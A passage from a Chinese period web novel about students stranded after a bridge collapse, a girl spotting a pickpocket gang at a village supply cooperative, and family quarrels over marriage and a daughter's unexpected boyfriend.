却见游东侠喝了一杯茶后又道：“那桥重新架起来不知道要猴年马月了，还是得看看有没有船能带他们一程。” 吐出不小心喝进嘴里的茶叶后，他开口问：“华容你有没有什么好办法？” 余华容能有什么办法，军方的消息瞒得死死的，他现在甚至都不知道孩子们究竟被他们弄到哪里去了。 这该死的牛家人，要没有他们，他好好的儿子哪里需要遭这么大的难。 游东侠等了许久，都不见余华容回应，很是光棍的两手一摊：“看来你也没什么法子，那只能等着了。” 见这个黑脸包公耍无赖，余华容气急，也跟着躺平：“市民那里我快压不住了，如果一直见不到孩子回来，我不敢保证他们会不会做出什么出格的事来。” “他们中有很多是本市的高层领导，有些还跟我平级，真要闹起来，我可管不住他们。” “那到时候只能看你们的了～” 利益他们拿了，恶人总不能让他一个人当，余华容决定，要将手里烫手的山芋，丢还给军方。 这下游东侠不淡定了，原本就黑的脸这会儿更是像黑炭一样。 余华容走后，他气的冲他的背影骂了一句：老狐狸。 不就让他帮点小忙吗？这就不乐意了。 想到即将会冲进大院里的、社会各界的佼佼者们，游东侠就觉得头皮有些发麻。 那些人能爬到那个地位，有多难缠，他是不想领教的，惹不起他躲得起。 他喊来卫兵：“邹筠，如果后面有人来找我，你就说我出公差去了，不在大院里。” 这样好像还不够，他又补充道：“他们要是问孩子的事情，你就给他们说……”他沉吟片刻，忽然想到一个好主意“你就说，车子在路上抛锚了，最晚三天后，学生们会被送回来。” 说完之后，游东侠又暗骂一句：天杀的，还是得我出马。 军部有那么多人，怎么偏偏倒霉的总是他。 好处他还没见到，烂摊子又掉到他头上来了，余华容能把活推给自己，自己又能推给谁呢？ “真是晦气！” 骂归骂，活他还得老实干。 青州河那边时常有轮船通过，他得提前联系货运部门才行，否则，事到临头人家没位置了，这些学生也不能如期被送回家。 “喂……” 一个又一个的电话被拨出去，游东侠收到的不是拒绝就是拒绝。 “嘶……这些糟瘟的玩意今天是怎么回事？怎么一架经过的轮船都没有？” “以前时不时就在河边打屁的船只都哪去了？” 游东侠越想越头痛，他头痛在稻田里的学生们和绿军装们就更头痛了。 之前割下来的水稻都被货车给拉走了，现在田里剩下的这些今天就能全部割完。 到时候学生们还在这里，没活干也没东西吃，他们要怎么办？头痛啊。 而且更加严峻的考验即将来临，天上大片的乌云汇集，这是即将下雨的征兆啊。 可稻田边上，只有四面漏风，且顶部也不遮雨的草棚，他们只有两辆带车斗的军车压根装不下所有的学生，那剩下的学生该怎么办呢？ 没有命令他们不得随便行动，只能留在原地等待通知。 看着天上的乌云，余嘉祥找到了高个子绿军装，得知他们走不了后，就问能不能用田里的稻杆给草棚子加固一下，起码让他们不要漏雨，能让他们进去躲一躲雨。 高个子同意了他的建议，所以在剩下的时间里，学生们把稻杆上的稻穗取下来交给高个子后，就给稻杆捆扎固定了起来，想把他们固定到草棚子上去。 草棚不高，但以学生们的身高，也触及不到草棚的顶部，这个时候，高个子主动过来帮忙了。 因为稻杆有限，且时间也不充裕，他们才刚修补好四五顶草棚，大雨就落了下来。 收割下来的稻穗在汽车的篷布下面，淋不着一点雨，学生们也顾不得男女之别，只要是一个班的，直接挤到了一个棚子里，为了不让行李淋到雨，他们将行李堆在草棚中间高高摞起，人则是围着行李一圈圈坐着，怀里还抱着稻草杆挡雨。 钟莹莹和余嘉祥年纪小，同学们照顾他俩，让他俩待在了较为靠中间的位置。 棚子外急风骤雨，棚子下也没好到哪里去。 第114章 草棚之外的雨下了一天一夜，棚子下学生们的心也紧紧地连在了一起。 得亏草棚子建的比稻田比略为高一些，不然的话外面的雨水可能会直接蔓延到众人的脚上。 下完雨之后，田间的路变得更加的泥泞。 雨水滋养出众多的蚊虫，班上同学但凡有皮肤裸露在外面的，都被叮咬出又红又痒的疙瘩。 如果这个时候能来点薄荷叶榨汁或者泡水清洗一下患处，那不知会松快多少。 钟莹莹已经动了心思，想借着包裹的掩盖，掏出空间里积攒的薄荷叶，在拿出来前，她忽然激起一身冷汗，胳膊上的汗毛被吓得都立了起来。 在她们被关起来审查期间，他们的包裹能没被检查过吗？ 被查过之后，里面有什么东西，那旁人不是一清二楚。 她今天要是掏出来这个薄荷叶，不正是明晃晃的告诉人家：我有问题，快来抓我啊！ 伸进包裹里的手拽出一块被摔打的松松散散的板栗糕，钟莹莹把糕点沫沫给塞进嘴里，努力让自己的心情恢复平静。 好在边上的同学都在闭目养神，绿军装们也没有发现她的异常。 雨停之后，高个子尝试着发动汽车，但汽车的轮胎深陷泥泞里，压根拔不出来。 “老大，怎么办？”矮个子又化身十万个为什么般围着高个子问个不停。 高个子直接一巴掌拍在了他的脑袋上“怎么办？怎么办？用你的猪脑子想想怎么办？一天天的，就知道问问问！” 车子启动不了，饭他们还是要吃的。 他们有压缩饼干，但学生们带的菜团子只带了七天的量，甚至还要更少一些，他们搜查的时候也能看见学生们的余粮。 高个子估计这会儿那包裹里除了一些零嘴外，压根没有正经粮食。 他舌尖抵住后槽牙，最终还是让矮个子把他们的口粮，拿去给学生们分了。 至于他们自己，车里不还有那么多稻穗呢吗？生点火，放火上一烧就能吃。 “是压缩饼干！” 平常他们指定不会多稀罕这玩意，但现在，连吃七天食堂那能把人脸都给吃绿了的菜团子，到今天甚至连菜团子都没得吃了的学生们，看见压缩饼干甚至如同饿狼一般，想要狠狠扑上去，要不是惧怕那身军装的压制，钟莹莹怀疑，他们已经扑上去过了。 “都别动，每个人都有份，老老实实站好了，我分到谁，谁过来领。” 学生们乖乖在他面前排起了队，最后每人分得了半块压缩饼干。 有半块他们也不嫌少，一个个美滋滋的捧着饼干小口小口的往嘴巴里磨，吃了半天，那半块饼干仅仅是破了点皮。 给高个子绿军装看的牙疼，这些小崽们咋一个比一个能磨叽呢，他现在脑子里想的都是怎么才能把这群小崽子们都给送走，早点完成任务早点归队。 “也不知道那群汇报的人干什么吃去了，这都几天了也没个消息！” 在高个子的骂骂咧咧声中，通信兵姗姗来迟，还带来一个听起来好像不是很好的消息。 高个子把人拉到一边，揪住他的衣领道：“你说什么？什么叫桥塌了，他们回不去了？” “高队，桥塌了这事也不是我干的，咳咳咳……你快给我松开，我喘不上气了……”通信兵用胳膊肘用力的击打着高个子抓住他衣领的手，但由于双方实力差距过大，这样的反抗无异于以卵击石。 最后还是高个子自己恢复理智，把他给放了下来。 “他们回不去，那我们怎么办？田里的水稻都割完了，任务也完成了，我们还得在这守着这群小崽子？”高个子声音中夹杂着几分不可置信。 通信兵捂着脖子休息了好一会儿，才恢复正常，他抱怨道：“高队，你听话只听一半的吗？” 高个子见通信兵话里有话，心中又升起了希望：“怎么说？” “桥塌了是没错，但我们还可以走水路啊！这两天有艘轮船从青州河路过，上面说，只要你们将这些学生给送到船上就行，其他的就不归我们管了。” 听到要解脱了，高个子顿时欣喜如狂。 可是他忽然又抓到了通信兵话语中的漏洞：“我们送？只有两辆车，其中一辆还装了稻穗，我们拿什么送？” 来的时候是七*八辆车子一块过来的，临了回去了，只有他们这两辆车不说，还刚下完雨，车子的轮胎时不时陷进泥里，就得人工下车去推。 通信兵讪讪道：“这不是上面相信你们的实力吗？” “话都带到了，那我就先回去了。”他撂下话就想开溜，再不走他害怕高个子会给他留下来当壮丁。 奈何人没有人家高队长高，人家长腿一跨，一步就能顶上他三步，才跑出去几米远，他又被人揪着后脖颈子给拎回来了。 一抬眼就看见高个子不怀好意的笑着说：“小吴啊，来都来了，帮哥干点活呗～” 通信兵一脸苦涩，他就知道、就知道今天被派到给高个子送信准没好事。 “吴啊～你车上有吃的吗？”矮个子也凑了过来。 压缩饼干都给学生们吃了，他这会儿还饿着肚子呢，见到战友过来，忙不迭的就过来讨食来了。 “有你啥事！有你啥事！啊～怎么哪都能看见你！刚吃完稻米，又饿了，你是猪吗？” “老大，我不吃了，你别打了，我不吃了，还不成吗？”矮个子认怂认的特别快。 高个子教训完小弟，又问通信兵：“那艘船什么时候过？我们在哪里等？” 通信兵眼珠子乱转，看天看地就是不看他。 高个子大手一挥，他跟矮个子一样，瞬间老实“我说、我说，哥你先别动手。” “那船应该就在这两天，地点嘛，你们就在断桥边上等就行。” “两天？”高个子眉心紧拧。 “这已经够快啊，好多船听说青州大桥垮了，害怕出意外，都不愿意出船，就这一家，愿意过路的时候帮我们带学生们一程。”就这带人也是有条件的，部队这边得先派人去排查水下的隐患，确定船只能够正常通行，他们才愿意出船。 高个子叹了一口气道：“两天就两天吧！”总比一直漫无目的等下去要强得多。 通信兵迟疑了一下又开口说：“哥，你是不是理解错了？我说的两天，不是两天后，是这两天的任意一个时间点。” “水上的情况不稳定，他们不确定具体到达时间，所以才给我们说了这么一个数字。” 高个子快被气死了，怎么他身边净是些卧龙凤雏。 矮个子天天乱七八糟的事情统统都要拿来问他，换了这个小吴，又变成说话只说一般，永远不解释清楚自己的意思，咋就没有一个正常人了。 高个子努力压制住心头的火气，让自己的表情显得平和一些，但仍旧没掩饰住他的咬牙切齿“行，我都知道了！” “既然是这样，你们俩还不快去，让学生们抓紧收拾收拾，好快些上路？” 天可怜见的，他是上辈子造了什么孽，这辈子和这俩二缺当战友！ 短短一次平常的下乡劳动活动，让市中的同学们经历了这么多的惊心动魄。 虽然没真正的去到村里，但这次活动的教育意义却比之前任何一次都要大。 在几十个人挤上一辆车，又被稻穗隔着裤子给扎了个透后，坐上摇摇晃晃的轮船，就这么晃到河对岸，又换乘汽车，一路摇回到市中门口，下车的那一瞬间，见到各自的家长时，所有人都眼含热泪的扑了上去。 “爹～” “娘～” “你们都不知道，我们这次经历了什么！” 短短一周，却好像过去了大半辈子似的。 平常对孩子格外严厉的家长们，这会儿也流着眼泪道：“回来就好、回来就好！” 本地的学生有家长接，下面县城的学生们只能落寞的看着别人温情脉脉。 他们暂时还回不了家，得在市中住一晚，等家长从乡下赶过来，学校才能放他们走。 钟莹莹一回到学校，就去澡堂洗了个澡，还把之前带的衣服还有被褥都给泡水里面洗了，祁绮帮着她给吸水后重了几十斤的被子略微拧干了些水，搭在了学校的围栏上。 秋天太阳也挺大，慢慢晾着总能晾干的。 牛丽华当晚就被他哥哥带走了，宋悦也去了她对象那些，整个寝室也只有钟莹莹跟祁绮。 祁绮有点害怕，就跟钟莹莹挤在一张床上睡的。 回到宿舍后，钟莹莹不用再害怕有人监视，从衣柜里借着衣服的掩饰，掏出了一些吃食，分给祁绮，俩人吃了个半饱。 钟绍华跟祁丰是第二天晚上到市中的，保安还认得他们，就给他俩放进了学校让他们去找人。 祁绮在见到祁丰的那一刻，从回到学校一直压抑在心头的恐惧再也控制不住了，抱着她哥的腰就是哭天喊地。 钟莹莹比她强一些，只是掉了几颗眼泪。 回程的路上，钟绍华一直在说，这次她受苦了，等回家要给她好好补补。 第115章 “我的孩子呀，这糟老罪了！”陈显英抱着钟莹莹不撒手，眼里含着热泪，看着孩子身上被稻草扎出的红印子，还有养了好久才养胖的身子，现在又瘦了下来，她心疼的不得了。 “咱娘给你炖了鸡汤，快来喝一碗润润嗓子。”钟明月从灶房端出一碗撇去了油花的鸡汤出来。 听到市中学生们出事的消息，他们都很着急，钟绍华一得到消息就赶紧去找祁丰，两人一块买了火车票，立马就出发了，连身上的衣服都没来得及换。 “莹莹，听说你们这次真的遇到特务了？”钟明月也很担心。 遇到特务可不是什么好事，那是会死人的。 钟莹莹喝了小半碗鸡汤，然后擦了擦嘴巴跟家里人告状：“是真的，有一个就是我同学，血溅了我一身。”那温热黏腻的触感，至今萦绕在钟莹莹的心头，挥散不去。 陈显英立马惊呼道：“哎呀，那可不得了了，伟先你赶紧去弄个火盆过来，让闺女夸让闺女跨一下，去去身上的晦气。” “还有”她接着转头又对钟莹莹说“你身上这身衣服也得换，娘给你洗一洗，也在火盆上熏一熏，把霉运熏走了就好了。” 钟莹莹吃完饭，家里又是张罗着让她跨火盆，又是烧水给她洗澡的，忙活了一个晚上，最后她身上的衣服也换了，皮也被搓的干干净净的。 自从她能自己洗澡后，还是第一次再次得到跟小时候一样的待遇呢。 出了这种事，市中被抓了一大批人，学校复学还不知道要什么时候。 钟莹莹只能在家里待着，她怀疑自己这几年是犯太岁了，上个学这么一波三折的。 学校去不了，她在家里帮家里人干活，他们也不让她动手，说是让她歇一歇。 钟家岗的水稻收的比之前钟莹莹他们收的要更快，收割下来的稻穗一捆捆放到打谷机上，把稻粒给打下来，然后再晒干，起码省了百分之八十的人力。 吴家村的妇女们在自家村里的农活干完之后，又是很积极的来到钟家岗，帮钟家岗干活。 钟强先强调多次：“真不用你们帮忙，这些活我们自己干就行，等秋收结束，你们正常来咸菜厂干活就成。” 那边的妇女手脚麻利的给晒场上的稻谷翻完面后，冲钟强先爽朗的笑了笑：“就这么点活也不碍事的，我们随手就干完了。” “是我们要谢谢你们，要不是有你们，招我们来咸菜厂干活，我们也贴补不了家用，天天在家里要看家里人的脸色。” “现在好了，我们自己也能挣钱了，再也不用看别人脸色。” 吴家村的妇女们是在拿到第一笔工资的时候发现这个秘密的，现在自己能拿工资了，不用从自家男人手里拿钱。 在被他们骂自己不赚钱还花钱的时候，随口反驳回去说花的是他们自己赚的钱。 这话一出，家里人都沉默了，从那之后，再也没人提女人只花钱不赚钱了。 而吴家村的妇女意识在他们不知道的情况下觉醒了。 市中这一放假直接放掉了剩下半个学期，学校直接发通知让等到下学期再回学校正常上课。 还好钟莹跟祁绮回来时，把学校里放着的大部分的行李全都带回来了，不然就这么敞开放那里放一学期，肯定会发霉的。 一场秋雨一场寒，一进入深秋，天气那叫一个凉。 冷风飕飕的，钟莹莹已经换上了薄袄。 今天他们要去县里买东西，家里好些东西都用完了。 现在家里有钱，缺啥都直接去县里买，不像以前，扣扣搜搜的。 “诶～今天供销社新来一批罐头，听说是从北边来的，快快，去晚了可就没了～” “你等等我，我回家拿钱取票去～” 一进城，钟莹莹就听见这么个好消息，她手头没拿东西，跑的快，就给陈显英说：“娘，我先去供销社看看，是不是真的，是真的我就先买，不是真的我就在那等你。” 说完都没等陈显英回答，她就一溜烟的冲了出去。 “哎～莹莹，你等等，钱你拿着～” 钟莹莹头也没回“娘，我有钱！” 陈显英无奈道：“这孩子，干啥都风风火火的。” 钟明月搀扶着她“娘，莹莹还小呢，活泼点好。” 陈显英：“不小了，都十三了，过完年该十四了。”陈显英说的是虚岁。 “想当年，她就只到我这儿”陈显英比了比自己腿弯那个高度“现在一下子蹿的比我还高半个头了，岁月不饶人啊，老了老了～” 俩人谈话间，陈显英忽然揉了揉自己的眼睛，然后又拍拍钟明月的胳膊：“明月，你看那是不是秀秀？” 陈显英怕是自己眼花了，她怎么看见老楚家的秀秀跟个男娃子在一起呢。 钟明月顺着她手指着的方向看去，还真是楚秀秀。 “老楚不是说秀秀要招赘吗？我怎么看着……”那个男娃一看就是城里娃娃，城里人会倒插门来乡下吗？ “娘，我们要跟她家里说一声吗？”钟明月有些犹豫。 “别说了，没准老楚知道呢，人家的家事，咱们这外人掺合进去，只会里外不讨好。”陈显英不打算多管闲事。 楚秀秀跟那男孩子一眨眼的功夫就走远了，陈显英跟钟明月很快就将这件事抛之脑后了。 她们还要去供销社跟钟莹莹汇合，也不知道她抢到罐头了没有。 供销社内，钟莹莹早上扎的整整齐齐的麻花辫都被挤的散开了，而且她还感觉中间有好几只手掏了她的兜，不过她的钱都放在空间里，那些贼最终都无功而返了，好不容易挤到柜台前面，玻璃柜里的罐头已经不多了。 钟莹莹开口就是：“同志你好，要三瓶黄桃罐头！” 说完她把手从口袋里掏啊掏的，掏出一把钱票来，人群中的小偷都觉得邪门了，怎么他们刚才掏那么久没掏到东西，结果人家兜里还有钱？他们开始怀疑起自己的技术问题。 买东西的过程很顺利，一手交钱一手交货，钟莹莹没有遇到传说中售货员故意为难人的情况。 卖东西的售货员看她年纪小，怕她不好拿，还用绳子给她拴了一个绳结，将三瓶黄桃罐头都给用绳结打包好才将东西递给了她。 拿到自己要买的东西，将剩下的钱借着口袋的掩护又丢回空间里去。 钟莹莹抱着罐头，又艰难的从人群中挤了出去。 这次又有人掏她口袋，她有空闲去打量究竟是谁三只手了。 这些人应当是一伙的，年纪都不大，作案时还会互相打掩护，钟莹莹看清楚是哪几个人，她没有声张，从挤的像沙丁鱼罐头的供销社里退了出去后，也没走远，就在门口等家里人过来。 在等待期间，她又发现了几个人作案，且他们最后把偷来的钱都交给供销社外一个脸上长着大痦子的男人了。 害怕被盯上，钟莹莹没敢多看，只记住了那人的模样，还有穿衣打扮后，就若无其事的低下头，靠着背后的大树蹲下装着是在数蚂蚁。 楚秀秀跟着小男友也来到了供销社。 “姚策，不用买那么多东西，邮局寄过来的那些东西已经够了。” “秀秀，我这是第一次上门，你给我个表现的机会。”姚策拍了拍她的手，她羞涩的点点头，最后答应了，没想到在供销社门口，一扭头，就和蹲在树下的钟莹莹来了个对眼。 “莹……莹莹，呵、呵……你也来买东西吗？就你一个？”楚秀秀的表情变得十分的不自然。 “秀秀，他是？”钟莹莹听到他们说的话了，她只是不敢相信，这才出去读了一年半的书，楚秀秀连对象都找到了？ 楚秀秀拉过身旁的男生，推到钟莹莹面前：“这是姚策，我对象！” “这是钟莹莹，我家邻居。” 面前的男生大概一米七五左右，不算高，但也不矮，面容清秀，就是嘴角长了一颗瘊子，瘊子上还有两根黑毛，看起来有点不太美观。 还有就是，钟莹莹总感觉面前这人有些眼熟。 供销社的黄桃罐头也卖了个干净，人群渐渐散去。 就在这时，突然有人一摸自己的口袋，发现空空如也，立马大叫道：“有小偷，我的钱不见了！” 还没走远的人，纷纷摸起了自己的口袋，果然，一连好几个人都嚷嚷着自己的钱不见了。 但这时候人都散的差不多了，他们上哪找小偷去。 钟莹莹注意到，秀秀这个男朋友在看到有人喊抓小偷的时候，神色有那么一瞬间变得非常紧绷，然后看他们四处找人，最终也灭找到时，他的表情又放松下来。 钟莹莹心想：这人指定有鬼。 陈显英跟钟明月这会儿也终于到地方了。 “莹莹，怎么了？他们嚷嚷什么呢？” “娘，有人钱丢了，他们找小偷呢。” “那你身上没丢东西吧？” “娘，我机灵着呢！你看，这是我抢到的罐头，好些人没买到呢！” 钟莹莹拎着自己抢到的三瓶罐头在陈显英面前晃了晃。 陈显英这才放下心来，她又注意到到边上站着的楚秀秀，刚想说话，警察就过来了。 第116章 供销社多人被偷，公安那边十分重视，直接派了一队警察过来调查，黄有德升上去了，他原先的那个小队如今的队长变成了祁丰。 “大娘，什么情况？” 因着黄有德还有祁绮的缘故，祁丰跟钟家人的关系亲近了不少。 祁丰朝着他们过来时，钟莹莹眼见着姚策紧张到连衣袖下面藏着的手都攥起了拳头。 “我也不知道啊，我们刚到，就见你们过来了。”陈显英确实啥都不知道。 听到陈显英说完话，钟莹莹见姚策气息稳定了下来，捏着的拳头也松了开来，钟莹莹几乎敢笃定姚策绝对和偷东西的那伙人脱不了干系。 但是在人前她又不好说自己的发现，他害怕那伙人还没有走远，万一看见了是自己告的密，祁丰抓人没抓完的话，自己会被剩下的那伙人记恨上。 姚策就在这里，又跑不了，既然是楚秀秀的对象，那她一定知道他的家庭情况，而小偷领头的那个人跟姚策的相似之处又那么明显，双方指定是有血缘关系的，盯住姚策，就等于盯住了小偷团伙。 钟莹莹不着急，反正她的东西没有丢，抓小偷也是祁丰的活。 祁丰没有问到什么名堂，小偷也早已去离去，他就带着那些苦主一块回了局里。 陈显英正常去了供销社买了家里需要的东西，买完东西后她问楚秀秀：“秀秀，你们俩要跟我们一块儿回去吗？” 楚秀秀摇了摇头：“莹莹娘，我跟姚策还有东西没拿，一会儿姚策骑车带我回去。”楚秀秀在害羞之余，还炫耀了一把姚策的财力。 不是自家孩子，陈显英也不好多说，只好叮嘱一句：“那秀秀你记得早点回家，不要在外面待太晚。” 钟莹莹跟着自己老娘和嫂子也去了停了村里牛车的地方，等着他爹带着他哥还有两个侄子侄女回来。 他们四个去了公安局找钟明芳，丽丽说要带钟新澄去局里见见世面，所以这俩孩子才没跟钟莹莹他们去供销社买东西。 钟莹莹思来想去，觉得还是不能就这么干等着，她想着就借着去接孩子的由头，顺便再给她那姐夫送一笔功绩过去。 来到公安局，那些丢了钱的人刚刚离开，钟莹莹也没有说自己是去报案的，只说要去家属院接孩子。 黄有德正得闲，就带她一块过去了。 等进了单位宿舍，她才开口道：“姐夫，今天供销社那小偷我见着了！” “而且，那小偷长得……” 黄有德正头疼今天这个案子呢，你听她这话就激动了：“莹莹，你看见什么了？慢慢说，别着急。” 到底是谁着急了啊？钟莹莹有些撇撇嘴，她告诉自己这是自家人，要包容一些，紧接着她就将今天看到的所有人的特征全都一一告诉黄有德了。 说完之后她才提起姚策的那个问题：“姐夫，我觉得他应该有问题，不然为啥他跟那头头长那么像，而且他见了祁绮哥哥还紧张的要死。” 得到所有线索后，黄有德反而变得淡定了许多“嗯，我知道了！” 他给钟莹莹送到钟明芳那里，叮嘱了钟莹莹两句：“今天你给我说的话记住了啊一句都别往外说，剩下的事姐夫会处理的。” 把钟莹莹送到地方，他就走了。 钟明芳看他来也匆匆，去也匆匆的，一天天的不着家，忍不住抱怨：“这也不知道又干什么去？想搁家见到他是真难！” 黄家的三个儿子也挤在这间小屋里，如今都放了假，他们也没啥事干，钟明芳带着丽丽来城里，也不好将他们给扔在家里。 黄家的大儿子给他爹解释道：“娘，爹他肯定是有正事要干。” “有正事那不能连说句话的功夫也没有啊？”当初结婚的时候说的好好的，什么以后一定会对她好，她让他往东他不会往西……现在看来都是屁话。 黄家的三个孩子都面露难色，他们也不知道钟明芳最近是怎么了，脾气暴躁，老是想发火，虽然那火气不是冲着他们，但他们夹在中间，也挺难受的。 丽丽跟钟新澄也老老实实的待在一边，不敢说话。 只有钟莹莹胆子大一些，直接过去拉住钟明芳的手：“姐，娘他们东西都买好了，正等着我们一块回家呢，你这边收拾好了，我们就一块走吧～” 她怀疑她姐可能是快到更年期，内分泌失调，所以才会性情大变。 钟明芳还在生气：“是我不想回去吗？你姐夫说了今天调休，我们一块回去。” “可你也看了，他刚刚回家都没进家门，我怎么回去？” 钟莹莹有些心虚，这事貌似是她惹出来的，如果她不说那些话，没准黄有德这个时间已经跟他们回家了。 但钟莹莹不后悔，调休什么时候都可以调，抓犯人的机会可不那么容易能遇到。 她劝钟明芳：“姐，我们先回去，等姐夫他忙完，让他自己走回去，累死他。” 钟明芳冷哼一声：“人家才不会累呢，同事有的是自行车，他随便借一辆就骑回去了！” “那不正好吗？姐你有啥要带的？木木、丽丽，快跟几个哥哥把东西都拿上，咱们回家了，爷爷奶奶还在路上等着呢！” 钟莹莹半劝半拉的给钟明芳拉走了。 在他们跟陈显英汇合时，黄有德蹬了个自行车也跟了上来。 “明芳，我忙完了。”黄有德脸上满是讨好。 “你还知道回来？” “忙、忙、忙，你就知道忙，再忙能连家都不要了吗？” “是、是、是，都是我的错。”黄有德认错态度端正，但是改正从来都是没有的。 钟明芳还想再骂，陈显英一个眼刀子丢过去，她就不敢说了。 陈显英每次见她都有些恨铁不成钢，前任丈夫坏的那么狠，还对她动手了，她屁都不敢放一个。 换了有德，人家对她那么包容，大花这个当婆婆的，也从来不对她指手画脚，给她的心都养野了。整天不是对着丈夫骂骂咧咧，就是给孩子脸色看，她怎么就生了个欺软怕硬的闺女？ 照这样下去，她的婚姻能继续经营下去吗？ 黄有德骑着自行车，丽丽跟钟新澄想坐自行车，他便一前一后的载着他们两个先走了，牛车走的慢，晃晃悠悠的跟在他后面。 由于车上黄家的三个孩子还在，陈显英不好直接教育钟明芳，只说了一句：“明芳，等下到家了，你跟我回家一趟！” 陈显英说话的语气说不上好坏，但是钟明芳知道那是她娘生气的表现。 她委屈巴巴：“哦！” 钟莹莹看见她这个样子只想笑，一山更比一山高，她姐这个魔障还是得她娘调理，这不？疑似更年期老娘一句话就压制下来了。 回到村里后，陈显英先下车走在前面，钟明芳则是垂头丧气的跟在她身后。 车子上的东西有钟伟先还有钟绍华呢，黄家的三个孩子也要帮忙，钟伟先让他们自己玩去了。 “明芳，你今天这是干什么啊！！！你想干什么？你要是不想过了，你给娘说，你拉不下面子，我去黄家，给有德说，让他换个媳妇！” 钟明芳：“娘！你在说什么啊？” “我在说什么你自己不知道吗？你给人家有德欺负成什么样了？”要是一次两次陈显英还能当作是她闺女在耍小脾气，可是她次次见到他们都是这样，每次都是钟明芳在乱发脾气，黄有德在道歉。 “那明明是……”钟明芳不觉得自己有错。 “明明是什么？你怎么不说了？人家有德上班忙还有错了？人家工资有那一回没交给你吗？” “人家那三个孩子让你费心了吗？我不明白，你究竟还有哪点不知足？”陈显英气的拍桌子把手都拍红了。 见钟明芳还是一副不知所以然的茫然，她……唉……儿女都是债。 陈显英缓和了一下心情，略微放轻语气劝道：“芳芳，娘说的话，你可能现在听不进去，但你自己回去好好想一想，是不是这么个道理。” “你俩都是二婚，人家也没必要一直让着你。”就算黄有德一直任劳任怨，那这个期限有能是多久呢。 “如果……我是说如果，你要是跟有德再离了，你又能怎么办呢？” 人家黄有德这些年事业发展的风生水起，而她闺女钟明芳呢？在家里当家庭主妇，还干不明白。 她要是自己现在有事业傍身，能够自给自足，她干什么，陈显英都不会说一个不字。 可她现在是靠着黄有德的工资过活，唉～当初让她来村里咸菜厂帮忙，她养尊处优惯了，干了没几天就跑路了，就这么个性子，能干什么啊她。 钟明芳不知道能不能明白陈显英的苦心，但钟莹莹是听的明明白白的，她想，等她长大以后，还是能不结婚就不结婚为好。 瞅瞅她姐姐，好好一个姑娘，在娘家的时候好好的，每次一嫁出去，在婆家脑子就像进水了一样，老是干些糊涂事。 黄有德回来这么早，是想见见那个姚策，没想到一直等到天擦黑，姚策才骑车带着楚秀秀回来。 第117章 到家门口楚秀秀开始害怕了，她爹曾经多次强调，以后要给她招赘，现在她从学校带回来个对象，她不敢想…… 伸头是一刀，缩头也是一刀，年轻的女孩握住心上人的手，推开了自家的院门。 “爹、娘，我回来了！” 屋里手下正编着用作保护咸菜坛子的竹编的老楚听到小女儿的声音，停下手里的动作，满脸笑意的从矮板凳上站起来，去迎接自家最出息的闺女，却在看见她手里牵着的那人时，笑意瞬间凝固。 望着两人牵着的手，老楚艰难的扯出一抹笑容：“秀秀，你这是……” 楚秀秀深呼吸一口气后，声音清脆：“爹，这是我对象，姚策！” 她边上的姚策把另一只手上提着的礼物给放到地上，伸出手去和老楚握手：“叔叔，您好，我是秀秀的对象。” 老楚还想做一下垂死挣扎：“秀秀，你这是骗爹的对吧？”他多希望这是女儿和自己开的一个玩笑。 耳边传来闺女掷地有声的回应：“爹，我没有骗人，这就是我对象！” 老楚心头的那口气忽然没上来，整个人眼前一黑，就这么往后一倒，然后失去了意识。 在失去意识前，他听到了儿子惊慌的呼唤他‘爹’，还有女儿害怕的喊‘爹，你怎么了，你别吓我啊！’ 他一想到小闺女带回来个对象，招赘的事泡汤了，他就觉得还不如死了算了。 老楚媳妇不在家，楚秀秀跟姚策被老楚突如其来的昏迷给吓得手忙脚乱，只好去钟家找人过来帮忙/ 钟伟先跟陈显英到楚家的时候，老楚还在地上躺着呢，陈显英气的骂道：“都愣着干什么呢？秀秀，你就这么让你爹搁地上躺着？” “还不快过来把人扶起来！” 楚秀秀听到陈显英的话，才手忙脚乱的跟着钟伟先一块把老楚从地上扶到了床上。 钟伟先安置完老楚，确定他呼吸平稳，应当短时间内不会出什么大问题，就转头问楚秀秀：“你娘呢？你爹都这样了，还不快去把你娘喊回来？” 家里连个大人都没有，一个傻子，一个小姑娘，指望他这个邻居给拿主意吗？ 楚秀秀连忙问楚天宝：“天宝，娘去哪里了？” 楚天宝眼里聚满了水汽，眼泪正要掉不掉呢，听到他姐姐喊他，他的眼泪直接掉了下来：“呜呜呜……二姐，娘去大姐家了。”傻乎乎的楚天宝不知道怎么样才好。 楚秀秀立马支使他道：“那你快去大姐家把娘喊回来！” “哦！”楚天宝拔腿就跑，想快些去喊他娘。 还没跑出院子呢，他就被门槛绊了一跤，摔了个脸朝地，这一跤给他摔的要去干什么统统都忘了，只知道抱着腿嗷嗷哭。 陈显英看不过眼，朝着自家院里喊了一声：“木木，去村长家喊一声天宝他娘，就说她家里出事了！” 钟家的院子毫无反应，陈显英又喊了一声，还是没有回一个，她就想着自己出门去喊人。 就在这时，老楚媳妇喘着粗气，自己跑回来了。 “英婶，老楚怎么了？莹莹跟木木过去喊我说老楚昏过去了，这好好的咋会昏过去呢？”她都怀疑是不是俩小孩在搞恶作剧了。 陈显英没答话，楚秀秀先出来泪眼汪汪的喊了一声：“娘！” “秀秀？你也放假了？咋没提前来个信，让你爹去接你呢？”中专放假比正常学校晚，因为他们是学技术的，能去工厂学习，干的好的，还有工资拿，也因为这，老楚家对于楚秀秀放假的晚归，从没有怀疑过。 楚秀秀带着哭腔道：“娘，先别说这些了，你快去看看爹吧～” 她带对象回家只是想给爹娘看一下，不用招赘她找个条件好的对象一样不耽误她照顾弟弟。 以后她姐姐在村里，她在城里工作，她出钱，她姐姐出力，照样能给老楚家照顾的好好的。 可没想到她爹才见她对象一面就被气晕过去了，楚秀秀不禁在想，是不是她真的做错了。 老楚媳妇一进屋看见躺在床上，没了意识到老楚，颤抖着胳膊去推他：“老楚，你醒醒啊？你是不是跟孩子们一块闹我呢？” 推了好几下，老楚都没反应，她红了眼眶：“秀秀，这究竟是怎么回事啊？明明我去你大姐家前你爹还好好的呢？”怎么这好好一个人，说晕就晕了。 楚秀秀嗫嚅着道：“娘……我……” 看她吞吞吐吐的样子，可把老楚媳妇给急坏了：“到底是啥事，你快说啊！” “我……我带对象回来，爹一生气，就……” “对象？？？”哪来的对象？老楚媳妇懵了。 她视线在家里转了一圈，终于在角落里找到了一个从来没有在钟家岗见过的陌生人。 她质问道：“你是谁？” 姚策弄清楚她跟楚秀秀的关系，但现在的场面，他也不知道该怎么处理了，他只能尴尬的笑了笑：“婶子，*我是秀秀的对象。” 老楚媳妇也想跟老楚一样昏过去了。 对象？秀秀她咋敢的？都没和家里人说一声，就把人领回来了。 “楚秀秀，你跟我过来！” 